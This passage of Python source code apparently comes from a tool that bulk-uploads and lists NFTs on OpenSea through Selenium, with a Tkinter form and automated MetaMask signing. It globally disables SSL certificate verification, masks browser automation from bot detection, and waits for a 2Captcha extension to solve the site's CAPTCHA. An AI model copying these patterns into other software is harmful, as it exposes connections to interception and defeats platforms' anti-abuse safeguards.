os.access(jsonFile, os.R_OK): 278 | 279 | #print(str(jsonMetaData)) 280 | wait_css_selector("button[aria-label='Add properties']") 281 | properties = driver.find_element(By.CSS_SELECTOR, "button[aria-label='Add properties']") 282 | driver.execute_script("arguments[0].click();", properties) 283 | time.sleep(0.8) 284 | 285 | # checks if file exists 286 | jsonData = json.loads(open(file_path + "\\json\\"+ str(start_numformat) + ".json").read()) 287 | 288 | if "attributes" in jsonData: 289 | jsonMetaData = jsonData['attributes'] 290 | 291 | for key in jsonMetaData: 292 | input1 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[1]/div/div/input') 293 | input2 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[2]/div/div/input') 294 | #print(str(key['trait_type'])) 295 | #print(str(key['value'])) 296 | input1.send_keys(str(key['trait_type'])) 297 | input2.send_keys(str(key['value'])) 298 | addmore_button = driver.find_element(By.XPATH, '//button[text()="Add more"]') 299 | driver.execute_script("arguments[0].click();", addmore_button) 300 | time.sleep(0.9) 301 | 302 | try: 303 | save_button = driver.find_element(By.XPATH, '//button[text()="Save"]') 304 | driver.execute_script("arguments[0].click();", save_button) 305 | time.sleep(0.8) 306 | except: 307 | driver.find_element(By.XPATH, '//button[text()="Save"]').click() 308 | time.sleep(0.8) 309 | 310 | elif "properties" in jsonData: 311 | jsonMetaData = jsonData['properties'] 312 | 313 | for key in jsonMetaData: 314 | input1 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[1]/div/div/input') 315 | input2 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[2]/div/div/input') 316 | #print(str(key['type'])) 317 | #print(str(key['name'])) 318 | input1.send_keys(str(key['type'])) 319 | input2.send_keys(str(key['name'])) 320 | addmore_button = driver.find_element(By.XPATH, '//button[text()="Add more"]') 321 | driver.execute_script("arguments[0].click();", addmore_button) 322 | time.sleep(0.9) 323 | 324 | try: 325 | save_button = driver.find_element(By.XPATH, '//button[text()="Save"]') 326 | driver.execute_script("arguments[0].click();", save_button) 327 | time.sleep(0.8) 328 | except: 329 | driver.find_element(By.XPATH, '//button[text()="Save"]').click() 330 | time.sleep(0.8) 331 | 332 | else: 333 | print("keys not found!") 334 | 335 | # Select Polygon blockchain if applicable 336 | #if is_polygon.get(): 337 | 338 | create = driver.find_element(By.XPATH, '//*[@id="__next"]/div[1]/main/div/div/section/div[2]/form/div/div[1]/span/button') 339 | driver.execute_script("arguments[0].click();", create) 340 | time.sleep(0.8) 341 | 342 | try: 343 | wait_xpath('/html/body/div[5]/div/div/div/div[2]/button/i') 344 | cross = driver.find_element(By.XPATH, '/html/body/div[5]/div/div/div/div[2]/button/i') 345 | cross.click() 346 | time.sleep(0.8) 347 | except: 348 | wait_xpath('/html/body/div[6]/div/div/div/div[2]/button/i') 349 | cross = driver.find_element(By.XPATH, '/html/body/div[6]/div/div/div/div[2]/button/i') 350 | cross.click() 351 | time.sleep(0.8) 352 | # wait_css_selector("i[aria-label='Close']") 353 | # cross = driver.find_element_by_css_selector("i[aria-label='Close']") 354 | # cross.click() 355 | # time.sleep(0.8) 356 | 357 | 358 | main_page = driver.current_window_handle 359 | 360 | if is_listing.get(): 361 | 362 | wait_xpath('//a[text()="Sell"]') 363 | sell = driver.find_element(By.XPATH, '//a[text()="Sell"]') 364 | driver.execute_script("arguments[0].click();", sell) 365 | 366 | wait_css_selector("input[placeholder='Amount']") 367 | amount = driver.find_element(By.CSS_SELECTOR, "input[placeholder='Amount']") 368 | amount.send_keys(str(loop_price)) 369 | time.sleep(1) 370 | 371 | #duration 372 | duration_date = duration_value.get() 373 | #print(duration_date) 374 | # time.sleep(60) 375 | if duration_date == 1 : 376 | endday = (date.today() + timedelta(days=1)).day 377 | endmonth = (date.today() + timedelta(days=1)).month 378 | #print(endday, endmonth) 379 | if duration_date == 3 : 380 | endday = (date.today() + timedelta(days=3)).day 381 | endmonth = (date.today() + timedelta(days=3)).month 382 | #print(endday, endmonth) 383 | if duration_date == 7 : 384 | endday = (date.today() + timedelta(days=7)).day 385 | endmonth = (date.today() + timedelta(days=7)).month 386 | #print(endday, endmonth) 387 | if duration_date == 30: 388 | endday = (date.today() + relativedelta(months=+1)).day 389 | endmonth = (date.today() + relativedelta(months=+1)).month 390 | #print(endday, endmonth) 391 | if duration_date == 60: 392 | endday = (date.today() + relativedelta(months=+2)).day 393 | endmonth = (date.today() + relativedelta(months=+2)).month 394 | #print(endday, endmonth) 395 | if duration_date == 90: 396 | endday = (date.today() + relativedelta(months=+3)).day 397 | endmonth = (date.today() + relativedelta(months=+3)).month 398 | #print(endday, endmonth) 399 | if duration_date == 120: 400 | endday = (date.today() + relativedelta(months=+4)).day 401 | endmonth = (date.today() + relativedelta(months=+4)).month 402 | #print(endday, endmonth) 403 | if duration_date == 150: 404 | endday = (date.today() + relativedelta(months=+5)).day 405 | endmonth = (date.today() + relativedelta(months=+5)).month 406 | #print(endday, endmonth) 407 | if duration_date == 180: 408 | endday = (date.today() + relativedelta(months=+6)).day 409 | endmonth = (date.today() + relativedelta(months=+6)).month 410 | #print(endday, endmonth) 411 | 412 | #if duration_date != 30: 413 | amount.send_keys(Keys.TAB) 414 | time.sleep(0.8) 415 | # wait_xpath('//*[@id="duration"]') 416 | # driver.find_element_by_xpath('//*[@id="duration"]').click() 417 | 418 | wait_xpath('//*[@role="dialog"]/div[2]/div[2]/div/div[2]/input') 419 | select_durationday = driver.find_element(By.XPATH, '//*[@role="dialog"]/div[2]/div[2]/div/div[2]/input') 420 | driver.execute_script("arguments[0].click();", select_durationday) 421 | time.sleep(0.8) 422 | 423 | if lastdate.strftime('%x')[:2] == "12": 424 | #print("is month first") 425 | select_durationday.send_keys(str(endmonth)) 426 | select_durationday.send_keys(str(endday)) 427 | select_durationday.send_keys(Keys.ENTER) 428 | time.sleep(1) 429 | elif lastdate.strftime('%x')[:2] == "31": 430 | #print("is day first") 431 | select_durationday.send_keys(str(endday)) 432 | select_durationday.send_keys(str(endmonth)) 433 | select_durationday.send_keys(Keys.ENTER) 434 | time.sleep(1) 435 | else: 436 | print("invalid date format: change date format to MM/DD/YYYY or DD/MM/YYYY") 437 | 438 | wait_css_selector("button[type='submit']") 439 | listing = driver.find_element(By.CSS_SELECTOR, "button[type='submit']") 440 | driver.execute_script("arguments[0].click();", listing) 441 | time.sleep(10) 442 | 443 | if is_polygon.get(): 444 | driver.find_element(By.XPATH, '//button[text()="Sign"]').click() 445 | time.sleep(1) 446 | 447 | for handle in driver.window_handles: 448 | if handle != main_page: 449 | login_page = handle 450 | #break 451 | 452 | driver.switch_to.window(login_page) 453 | 454 | if is_polygon.get(): 455 | print("polygon") 456 | wait_css_selector("button[data-testid='request-signature__sign']") 457 | sign = driver.find_element(By.CSS_SELECTOR, "button[data-testid='request-signature__sign']") 458 | driver.execute_script("arguments[0].click();", sign) 459 | time.sleep(1) 460 | else: 461 | print("eth") 462 | try: 463 | wait_xpath("//div[@class='signature-request-message__scroll-button']") 464 | scrollsign = driver.find_element(By.XPATH, "//div[@class='signature-request-message__scroll-button']") 465 | driver.execute_script("arguments[0].click();", scrollsign) 466 | time.sleep(1) 467 | except: 468 | driver.find_element(By.XPATH, "//div[@class='signature-request-message__scroll-button']").click() 469 | time.sleep(1) 470 | 471 | try: 472 | wait_xpath('//*[@id="app-content"]/div/div[2]/div/div[4]/button[2]') 473 | driver.find_element(By.XPATH, '//*[@id="app-content"]/div/div[2]/div/div[4]/button[2]').click() 474 | time.sleep(1) 475 | except: 476 | wait_xpath('//button[text()="Sign"]') 477 | metasign = driver.find_element(By.XPATH, '//button[text()="Sign"]') 478 | driver.execute_script("arguments[0].click();", metasign) 479 | time.sleep(1) 480 | 481 | 482 | #change control to main page 483 | driver.switch_to.window(main_page) 484 | time.sleep(0.7) 485 | 486 | start_num = start_num + 1 487 | print('NFT creation completed!') 488 | 489 | driver.get("https://www.opensea.io") 490 | 491 | 492 | 493 | duration_value = IntVar() 494 | duration_value.set(value=180) 495 | 496 | duration_date = Frame(root, padx=0, pady=1) 497 | duration_date.grid(row=10, column=1, sticky=(N, W, E, S)) 498 | tk.Radiobutton(duration_date, text='1 day', variable=duration_value, value=1, anchor="w", command=save_duration, width=8,).grid(row=0, column=1) 499 | tk.Radiobutton(duration_date, text="3 days", variable=duration_value, value=3, anchor="w", command=save_duration, width=8, ).grid(row=0, column=2) 500 | tk.Radiobutton(duration_date, text="7 days", variable=duration_value, value=7, anchor="w", command=save_duration, width=8,).grid(row=0, column=3) 501 | tk.Radiobutton(duration_date, text="30 days", variable=duration_value, value=30, anchor="w", command=save_duration, width=8,).grid(row=0, column=4) 502 | tk.Radiobutton(duration_date, text="60 days", variable=duration_value, value=60, anchor="w", command=save_duration, width=8,).grid(row=0, column=5) 503 | tk.Radiobutton(duration_date, text="90 days", variable=duration_value, value=90, anchor="w",command=save_duration, width=8,).grid(row=1, columnspan=1, column=1) 504 | tk.Radiobutton(duration_date, text="120 days", variable=duration_value, value=120, anchor="w", command=save_duration, width=8).grid(row=1, columnspan=1, column=2) 505 | tk.Radiobutton(duration_date, text="150 days", variable=duration_value, value=150, anchor="w", command=save_duration, width=8).grid(row=1, columnspan=1, column=3) 506 | tk.Radiobutton(duration_date, text="180 days", variable=duration_value, value=180, anchor="w", command=save_duration, width=8).grid(row=1, columnspan=1, column=4) 507 | duration_date.label = Label(root, text="Duration:", anchor="w", width=20, height=1 ) 508 | duration_date.label.grid(row=10, column=0, padx=12, pady=2) 509 | 510 | 511 | # isnumFormat = tkinter.Checkbutton(root, text='Number format 0001 ~ 99999', var=is_numformat, width=49, anchor="w") 512 | # isnumFormat.grid(row=18, column=1) 513 | isCreate = tkinter.Checkbutton(root, text='Complete Listing', var=is_listing, width=49, anchor="w") 514 | isCreate.grid(row=19, column=1) 515 | isPolygon = tkinter.Checkbutton(root, text='Polygon Blockchain', var=is_polygon, width=49, anchor="w") 516 | isPolygon.grid(row=20, column=1) 517 | upload_folder_input_button = tkinter.Button(root, width=50, height=1, text="Add NFTs Upload Folder", command=upload_folder_input) 518 | upload_folder_input_button.grid(row=21, column=1, padx=2) 519 | open_browser = tkinter.Button(root, width=50, height=1, text="Open Chrome Browser", command=open_chrome_profile) 520 | open_browser.grid(row=23, column=1, pady=2) 521 | button_save = tkinter.Button(root, width=50, height=1, text="Save This Form", command=save) 522 | button_save.grid(row=22, column=1, pady=2) 523 | button_start = tkinter.Button(root, width=44, height=2, bg="green", fg="white", text="Start", command=main_program_loop) 524 | button_start['font'] = font.Font(size=10, weight='bold') 525 | button_start.grid(row=25, column=1, pady=2) 526 | footer = tkinter.Button(root, height=3, width=60, text='Do you you want to show support? \n Now you have the chance to buy me a coffee. Thank you.', command=coffeeURL, relief=GROOVE ) 527 | footer.grid(row=31, columnspan=2, padx=31, pady=31) 528 | 529 | try: 530 | with open(save_file_path(), "rb") as infile: 531 | new_dict = pickle.load(infile) 532 | global upload_path 533 | Name_change_img_folder_button(new_dict[0]) 534 | upload_path = new_dict[0] 535 | except FileNotFoundError: 536 | pass 537 | #####BUTTON ZONE END####### 538 | root.mainloop() 539 | -------------------------------------------------------------------------------- /Old/upload_2captcha.py: -------------------------------------------------------------------------------- 1 | import tkinter 2 | import subprocess 3 | from tkinter import * 4 | from tkinter import filedialog 5 | import tkinter as tk 6 | from tkinter import ttk 7 | from tkinter import messagebox 8 | import tkinter.font as font 9 | from turtle import width 10 | from PIL import ImageTk, Image 11 | import urllib.request 12 | from urllib import parse 13 | from io import BytesIO 14 | import os 15 | import io 16 | import sys 17 | import pickle 18 | import time 19 | from decimal import * 20 | import webbrowser 21 | # from click import command 22 | from selenium import webdriver 23 | from selenium.webdriver.common.by import By 24 | from selenium.webdriver.support.wait import WebDriverWait 25 | from selenium.webdriver.chrome.options import Options 26 | from selenium.webdriver.chrome.service import Service 27 | from selenium.webdriver.support import expected_conditions as ExpectedConditions 28 | from selenium.common.exceptions import NoSuchElementException 29 | from selenium.webdriver.support.ui import Select 30 | from selenium.webdriver.common.keys import Keys 31 | from datetime import timedelta 32 | import dateutil.relativedelta 33 | from datetime import timedelta, date 34 | import locale 35 | import json 36 | import ssl 37 | import random 38 | 39 | ssl._create_default_https_context = ssl._create_unverified_context 40 | 41 | #check local date format 42 | locale.setlocale(locale.LC_ALL, '') 43 | lastdate = date(date.today().year, 12, 31) 44 | 45 | root = Tk() 46 | root.geometry('750x850') 47 | root.resizable(False, False) 48 | root.title("NFTs Upload to OpenSea v1.9.0 - 2Captcha.com Solver") 49 | 50 | input_save_list = ["NFTs folder :", 0, 0, 0, 0, 0, 0, 0, 0, 0] 51 | main_directory = os.path.join(sys.path[0]) 52 | 53 | 54 | def supportURL(): 55 | webbrowser.open_new("https://www.infotrex.net/opensea/support.asp?r=app") 56 | 57 | def coffeeURL(): 58 | webbrowser.open_new("https://github.com/infotrex/bulk-upload-to-opensea/#thanks") 59 | 60 | 61 | class WebImage: 62 | def __init__(self, url): 63 | with urllib.request.urlopen(url) as u: 64 | raw_data = u.read() 65 | #self.image = tk.PhotoImage(data=base64.encodebytes(raw_data)) 66 | image = Image.open(io.BytesIO(raw_data)) 67 | self.image = ImageTk.PhotoImage(image) 68 | 69 | def get(self): 70 | return self.image 71 | 72 | 73 | imageurl = "https://www.infotrex.net/opensea/header.png" 74 | img = WebImage(imageurl).get() 75 | imagelab = tk.Label(root, image=img) 76 | imagelab.grid(row=0, columnspan=2) 77 | imagelab.bind("", lambda e:supportURL()) 78 | 79 | is_polygon = BooleanVar() 80 | is_polygon.set(True) 81 | 82 | is_listing = BooleanVar() 83 | is_listing.set(True) 84 | 85 | is_numformat = BooleanVar() 86 | is_numformat.set(False) 87 | 88 | is_sensitivecontent = BooleanVar() 89 | is_sensitivecontent.set(False) 90 | 91 | def save_duration(): 92 | duration_value.set(value=duration_value.get()) 93 | # print(duration_value.get()) 94 | 95 | def open_chrome_profile(): 96 | subprocess.Popen( 97 | [ 98 | "start", 99 | "chrome", 100 | "--remote-debugging-port=8989", 101 | "--user-data-dir=" + main_directory + "/chrome_profile", 102 | ], 103 | shell=True, 104 | ) 105 | 106 | 107 | def save_file_path(): 108 | return os.path.join(sys.path[0], "Save_gui.cloud") 109 | 110 | 111 | # ask for directory on clicking button, changes button name. 112 | def upload_folder_input(): 113 | global upload_path 114 | upload_path = filedialog.askdirectory() 115 | Name_change_img_folder_button(upload_path) 116 | 117 | def Name_change_img_folder_button(upload_folder_input): 118 | upload_folder_input_button["text"] = upload_folder_input 119 | 120 | def is_numeric(val): 121 | if str(val).isdigit(): 122 | return True 123 | elif str(val).replace('.','',1).isdigit(): 124 | return True 125 | else: 126 | return False 127 | 128 | def check_exists_by_xpath(driver, xpath): 129 | try: 130 | # driver.find_element_by_xpath(xpath) 131 | driver.find_element(By.XPATH, xpath) 132 | except NoSuchElementException: 133 | return False 134 | return True 135 | 136 | class InputField: 137 | def __init__(self, label, row_io, column_io, pos, master=root): 138 | self.master = master 139 | self.input_field = Entry(self.master, width=60) 140 | self.input_field.grid(ipady=3) 141 | self.input_field.label = Label(master, text=label, anchor="w", width=20, height=1 ) 142 | self.input_field.label.grid(row=row_io, column=column_io, padx=12, pady=2) 143 | self.input_field.grid(row=row_io, column=column_io + 1, padx=12, pady=2) 144 | 145 | try: 146 | with open(save_file_path(), "rb") as infile: 147 | new_dict = pickle.load(infile) 148 | self.insert_text(new_dict[pos]) 149 | except FileNotFoundError: 150 | pass 151 | 152 | def insert_text(self, text): 153 | self.input_field.delete(0, "end") 154 | self.input_field.insert(0, text) 155 | 156 | def save_inputs(self, pos): 157 | #messagebox.showwarning("showwarning", "Warning") 158 | input_save_list.insert(pos, self.input_field.get()) 159 | #print(self.input_field.get()) 160 | with open(save_file_path(), "wb") as outfile: 161 | pickle.dump(input_save_list, outfile) 162 | 163 | def validate_inputs(self, maxlen, type, message): 164 | 165 | if type == 0 and (len(self.input_field.get()) == 0 or (self.input_field.get()).isdigit() != True or len(self.input_field.get()) > maxlen): 166 | messagebox.showwarning("showwarning", message) 167 | 168 | elif type == 1 and (len(self.input_field.get()) == 0 or is_numeric(self.input_field.get()) == False or len(self.input_field.get()) >= maxlen): 169 | messagebox.showwarning("showwarning", message) 170 | 171 | elif type == 2 and ( len(self.input_field.get()) == 0 or len(self.input_field.get()) > maxlen): 172 | messagebox.showwarning("showwarning", message) 173 | 174 | else: 175 | return True 176 | 177 | 178 | ###input objects### 179 | collection_link_input = InputField("OpenSea Collection Link:", 2, 0, 1) 180 | start_num_input = InputField("Start Number:", 3, 0, 2) 181 | end_num_input = InputField("End Number:", 4, 0, 3) 182 | price = InputField("Default Price:", 5, 0, 4) 183 | title = InputField("Title:", 6, 0, 5) 184 | description = InputField("Description:", 7, 0, 6) 185 | file_format = InputField("NFT Image Format:", 8, 0, 7) 186 | external_link = InputField("External link:", 9, 0, 8) 187 | 188 | 189 | def save(): 190 | 191 | if len(start_num_input.input_field.get()) == 0 or len(end_num_input.input_field.get()) == 0 or (int(end_num_input.input_field.get()) < int(start_num_input.input_field.get())): 192 | #messagebox.showwarning("showwarning", "End number should greater than start number!") 193 | print ("true") 194 | elif len( start_num_input.input_field.get()) == 0 or len(end_num_input.input_field.get()) > 5 : 195 | #messagebox.showwarning("showwarning", "Start / end number range 0 - 99999") 196 | print ("true") 197 | else: 198 | collection_link_input.validate_inputs(200, 2, 'Collection link required') 199 | price.validate_inputs(100, 1, 'Price required') 200 | title.validate_inputs(100, 2, 'title required') 201 | description.validate_inputs(500, 2, 'description required') 202 | file_format.validate_inputs(100, 2, 'file format required - png, jpg, jpeg, gif') 203 | external_link.validate_inputs(300, 3, '') 204 | 205 | 206 | input_save_list.insert(0, upload_path) 207 | collection_link_input.save_inputs(1) 208 | start_num_input.save_inputs(2) 209 | end_num_input.save_inputs(3) 210 | price.save_inputs(4) 211 | title.save_inputs(5) 212 | description.save_inputs(6) 213 | file_format.save_inputs(7) 214 | external_link.save_inputs(8) 215 | 216 | 217 | def main_program_loop(): 218 | 219 | if len(end_num_input.input_field.get()) > 5 : 220 | messagebox.showwarning("showwarning", "Start / end number range 0 - 99999") 221 | sys.exit() 222 | 223 | project_path = main_directory 224 | file_path = upload_path 225 | collection_link = collection_link_input.input_field.get() 226 | start_num = int(start_num_input.input_field.get()) 227 | end_num = int(end_num_input.input_field.get()) 228 | loop_price = float(price.input_field.get()) 229 | loop_title = title.input_field.get() 230 | loop_file_format = file_format.input_field.get() 231 | loop_external_link = str(external_link.input_field.get()) 232 | loop_description = description.input_field.get() 233 | 234 | ##chromeoptions 235 | options = webdriver.ChromeOptions() 236 | options.add_argument("--disable-blink-features=AutomationControlled") 237 | options.add_experimental_option("debuggerAddress", "localhost:8989") 238 | driver = webdriver.Chrome(executable_path=project_path + "/chromedriver.exe",options=options) 239 | # driver = webdriver.Chrome( service=Service(project_path + "/chromedriver.exe"), options=opt ) 240 | wait = WebDriverWait(driver, 60) 241 | 242 | ###wait for methods 243 | def wait_css_selector(code): 244 | wait.until( 245 | ExpectedConditions.presence_of_element_located((By.CSS_SELECTOR, code)) 246 | ) 247 | 248 | def wait_css_selectorTest(code): 249 | wait.until( 250 | ExpectedConditions.elementToBeClickable((By.CSS_SELECTOR, code)) 251 | ) 252 | 253 | def wait_xpath(code): 254 | wait.until(ExpectedConditions.presence_of_element_located((By.XPATH, code))) 255 | 256 | 257 | def wait_xpath_clickable(code): 258 | wait.until(ExpectedConditions.element_to_be_clickable((By.XPATH, code))) 259 | 260 | def check_exists_by_tagname(tagname): 261 | try: 262 | # driver.find_element_by_tagname(tagname) 263 | driver.find_element(By.TAG_NAME, tagname) 264 | except NoSuchElementException: 265 | return False 266 | return True 267 | 268 | def delay(waiting_time=30): 269 | driver.implicitly_wait(waiting_time) 270 | 271 | sleeptime = random.uniform(1.25, 2.95) 272 | 273 | while end_num >= start_num: 274 | if is_numformat.get(): 275 | start_numformat = f"{ start_num:04}" 276 | else: 277 | start_numformat = f"{ start_num:01}" 278 | 279 | print("Start creating NFT " + loop_title + str(start_numformat)) 280 | print('number ', start_numformat) 281 | driver.get(collection_link) 282 | 283 | 284 | wait_xpath('//*[@id="media"]') 285 | imageUpload = driver.find_element(By.XPATH, '//*[@id="media"]') 286 | imagePath = os.path.abspath(file_path + "\\images\\" + str(start_numformat) + "." + loop_file_format) # change folder here 287 | imageUpload.send_keys(imagePath) 288 | time.sleep(sleeptime) 289 | 290 | name = driver.find_element(By.XPATH, '//*[@id="name"]') 291 | name.send_keys(loop_title + str(start_numformat)) # +1000 for other folders #change name before "#" 292 | time.sleep(sleeptime) 293 | 294 | ext_link = driver.find_element(By.XPATH, '//*[@id="external_link"]') 295 | ext_link.send_keys(loop_external_link) 296 | time.sleep(sleeptime) 297 | 298 | desc = driver.find_element(By.XPATH, '//*[@id="description"]') 299 | desc.send_keys(loop_description) 300 | time.sleep(sleeptime) 301 | 302 | jsonFile = file_path + "/json/"+ str(start_numformat) + ".json" 303 | if os.path.isfile(jsonFile) and os.access(jsonFile, os.R_OK): 304 | 305 | #print(str(jsonMetaData)) 306 | wait_css_selector("button[aria-label='Add properties']") 307 | properties = driver.find_element(By.CSS_SELECTOR, "button[aria-label='Add properties']") 308 | driver.execute_script("arguments[0].click();", properties) 309 | time.sleep(sleeptime) 310 | 311 | # checks if file exists 312 | jsonData = json.loads(open(file_path + "\\json\\"+ str(start_numformat) + ".json").read()) 313 | 314 | if "attributes" in jsonData: 315 | jsonMetaData = jsonData['attributes'] 316 | 317 | for key in jsonMetaData: 318 | input1 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[1]/div/div/input') 319 | input2 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[2]/div/div/input') 320 | #print(str(key['trait_type'])) 321 | #print(str(key['value'])) 322 | input1.send_keys(str(key['trait_type'])) 323 | input2.send_keys(str(key['value'])) 324 | addmore_button = driver.find_element(By.XPATH, '//button[text()="Add more"]') 325 | driver.execute_script("arguments[0].click();", addmore_button) 326 | time.sleep(sleeptime) 327 | 328 | try: 329 | save_button = driver.find_element(By.XPATH, '//button[text()="Save"]') 330 | driver.execute_script("arguments[0].click();", save_button) 331 | time.sleep(sleeptime) 332 | except: 333 | driver.find_element(By.XPATH, '//button[text()="Save"]').click() 334 | time.sleep(sleeptime) 335 | 336 | elif "properties" in jsonData: 337 | jsonMetaData = jsonData['properties'] 338 | 339 | for key in jsonMetaData: 340 | input1 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[1]/div/div/input') 341 | input2 = driver.find_element(By.XPATH, '//tbody[@class="AssetTraitsForm--body"]/tr[last()]/td[2]/div/div/input') 342 | #print(str(key['type'])) 343 | #print(str(key['name'])) 344 | input1.send_keys(str(key['type'])) 345 | input2.send_keys(str(key['name'])) 346 | addmore_button = driver.find_element(By.XPATH, '//button[text()="Add more"]') 347 | driver.execute_script("arguments[0].click();", addmore_button) 348 | time.sleep(sleeptime) 349 | 350 | try: 351 | save_button = driver.find_element(By.XPATH, '//button[text()="Save"]') 352 | driver.execute_script("arguments[0].click();", save_button) 353 | time.sleep(sleeptime) 354 | except: 355 | driver.find_element(By.XPATH, '//button[text()="Save"]').click() 356 | time.sleep(sleeptime) 357 | 358 | else: 359 | print("keys not found!") 360 | 361 | # Select Polygon blockchain if applicable 362 | wait_xpath('//*[@id="chain"]') 363 | default_blockchain = driver.find_element(By.ID, "chain").get_attribute("value") 364 | blockchain_dropdown = driver.find_element(By.ID, "chain") 365 | driver.execute_script("arguments[0].scrollIntoView();", blockchain_dropdown ) 366 | # print(default_blockchain) 367 | 368 | if is_polygon.get(): 369 | print("polygon") 370 | 371 | 372 | else: 373 | print("eth") 374 | 375 | 376 | # delay() 377 | create = driver.find_element(By.XPATH, '//*[@id="__next"]/div[1]/main/div/div/section/div[2]/form/div/div[1]/span/button') 378 | driver.execute_script("arguments[0].click();", create) 379 | time.sleep(sleeptime) 380 | 381 | main_page = driver.current_window_handle 382 | 383 | if check_exists_by_xpath(driver, '//h4[text()="Almost done"]'): 384 | wait_xpath('//h4[text()="Almost done"]') 385 | captcha_element = driver.find_element(By.XPATH,'//h4[text()="Almost done"]') 386 | 387 | if check_exists_by_tagname('iframe'): 388 | # print("have iframe") 389 | 390 | delay() 391 | solved_info = WebDriverWait(driver, 150).until(ExpectedConditions.presence_of_element_located((By.XPATH, "//*[@class='captcha-solver-info']" ))) 392 | # solved_status = WebDriverWait(driver, 10).until(ExpectedConditions.presence_of_element_located((By.XPATH, "//*[@class='captcha-solver-info']" ))).get_attribute("innerHTML") 393 | # print(str(solved_status)) 394 | wait_xpath("//div[@class='captcha-solver']") 395 | captcha_solver_button = driver.find_element(By.XPATH, "//div[@class='captcha-solver']") 396 | driver.execute_script("arguments[0].click();", captcha_solver_button) 397 | time.sleep(sleeptime) 398 | WebDriverWait(driver, 60).until(ExpectedConditions.presence_of_element_located((By.XPATH, "//*[@data-state='solving']" ))) 399 | print("solving") 400 | WebDriverWait(driver, 300).until(ExpectedConditions.presence_of_element_located((By.XPATH, "//*[@data-state='solved']"))) 401 | print("solved") 402 | 403 | else: 404 | pass 405 | 406 | 407 | else: 408 | print("no captcha") 409 | 410 | 411 | try: 412 | delay() 413 | cross = WebDriverWait(driver, 360).until(ExpectedConditions.presence_of_element_located((By.XPATH, '/html/body/div[6]/div/div/div/div[2]/button/i'))) 414 | cross.click() 415 | time.sleep(sleeptime) 416 | except: 417 | delay() 418 | cross = WebDriverWait(driver, 360).until(ExpectedConditions.presence_of_element_located((By.XPATH, '/html/body/div[5]/div/div/div/div[2]/button/i'))) 419 | driver.execute_script("arguments[0].click();", cross) 420 | time.sleep(2) 421 | 422 | 423 | main_page = driver.current_window_handle 424 | 425 | if is_listing.get(): 426 | 427 | wait_xpath('//a[text()="Sell"]') 428 | sell = driver.find_element(By.XPATH, '//a[text()="Sell"]') 429 | driver.execute_script("arguments[0].click();", sell) 430 | time.sleep(2) 431 | 432 | wait_css_selector("input[placeholder='Amount']") 433 | amount = driver.find_element(By.CSS_SELECTOR, "input[placeholder='Amount']") 434 | amount.send_keys(str(loop_price)) 435 | time.sleep(sleeptime) 436 | 437 | #duration 438 | duration_date = duration_value.get() 439 | #print(duration_date) 440 | 441 | #if duration_date != 30: 442 | amount.send_keys(Keys.TAB) 443 | time.sleep(sleeptime) 444 | 445 | wait_xpath('//*[@role="dialog"]/div[1]/div[1]/div/input') 446 | select_durationday = driver.find_element(By.XPATH, '//*[@role="dialog"]/div[1]/div[1]/div/input') 447 | select_durationday.click() 448 | if duration_date == 1 : 449 | range_button_location = '//span[normalize-space() = "1 day"]' 450 | if duration_date == 3 : 451 | range_button_location = '//span[normalize-space() = "3 days"]' 452 | if duration_date == 7 : 453 | range_button_location = '//span[normalize-space() = "7 days"]' 454 | if duration_date == 30 : 455 | range_button_location = '//span[normalize-space() = "1 month"]' 456 | if duration_date == 90 : 457 | range_button_location = '//span[normalize-space() = "3 months"]' 458 | if duration_date == 180 : 459 | range_button_location = '//span[normalize-space() = "6 months"]' 460 | 461 | wait.until(ExpectedConditions.presence_of_element_located( 462 | (By.XPATH, range_button_location))) 463 | ethereum_button = driver.find_element( 464 | By.XPATH, range_button_location) 465 | ethereum_button.click() 466 | select_durationday.send_keys(Keys.ENTER) 467 | time.sleep(sleeptime) 468 | 469 | delay() 470 | wait_css_selector("button[type='submit']") 471 | listing = driver.find_element(By.CSS_SELECTOR, "button[type='submit']") 472 | driver.execute_script("arguments[0].click();", listing) 473 | time.sleep(8) 474 | 475 | if is_polygon.get(): 476 | WebDriverWait(driver, 20).until(ExpectedConditions.presence_of_element_located((By.XPATH, "//button[text()='Sign']"))) 477 | driver.find_element(By.XPATH, '//button[text()="Sign"]').click() 478 | time.sleep(2) 479 | 480 | for handle in driver.window_handles: 481 | if handle != main_page: 482 | login_page = handle 483 | #break 484 | 485 | driver.switch_to.window(login_page) 486 | 487 | if is_polygon.get(): 488 | try: 489 | driver.find_element(By.XPATH, "//*[@id='app-content']/div/div[2]/div/div[3]/div[1]").click() 490 | time.sleep(0.7) 491 | except: 492 | wait_xpath("//div[@class='signature-request-message__scroll-button']") 493 | polygonscrollsign = driver.find_element(By.XPATH, "//div[@class='signature-request-message__scroll-button']") 494 | driver.execute_script("arguments[0].click();", polygonscrollsign) 495 | time.sleep(0.7) 496 | 497 | try: 498 | wait_xpath('//*[@id="app-content"]/div/div[2]/div/div[4]/button[2]') 499 | driver.find_element(By.XPATH, '//*[@id="app-content"]/div/div[2]/div/div[4]/button[2]').click() 500 | time.sleep(0.7) 501 | except: 502 | wait_xpath('//button[text()="Sign"]') 503 | metasign = driver.find_element(By.XPATH, '//button[text()="Sign"]') 504 | driver.execute_script("arguments[0].click();", metasign) 505 | time.sleep(0.7) 506 | else: 507 | try: 508 | driver.find_element(By.XPATH, "//*[@id='app-content']/div/div[2]/div/div[3]/div[1]").click() 509 | time.sleep(0.7) 510 | except: 511 | wait_xpath("//div[@class='signature-request-message__scroll-button']") 512 | scrollsign = driver.find_element(By.XPATH, "//div[@class='signature-request-message__scroll-button']") 513 | driver.execute_script("arguments[0].click();", scrollsign) 514 | time.sleep(0.7) 515 | 516 | try: 517 | wait_xpath('//*[@id="app-content"]/div/div[2]/div/div[4]/button[2]') 518 | driver.find_element(By.XPATH, '//*[@id="app-content"]/div/div[2]/div/div[4]/button[2]').click() 519 | time.sleep(0.7) 520 | except: 521 | wait_xpath('//button[text()="Sign"]') 522 | metasign = driver.find_element(By.XPATH, '//button[text()="Sign"]') 523 | driver.execute_script("arguments[0].click();", 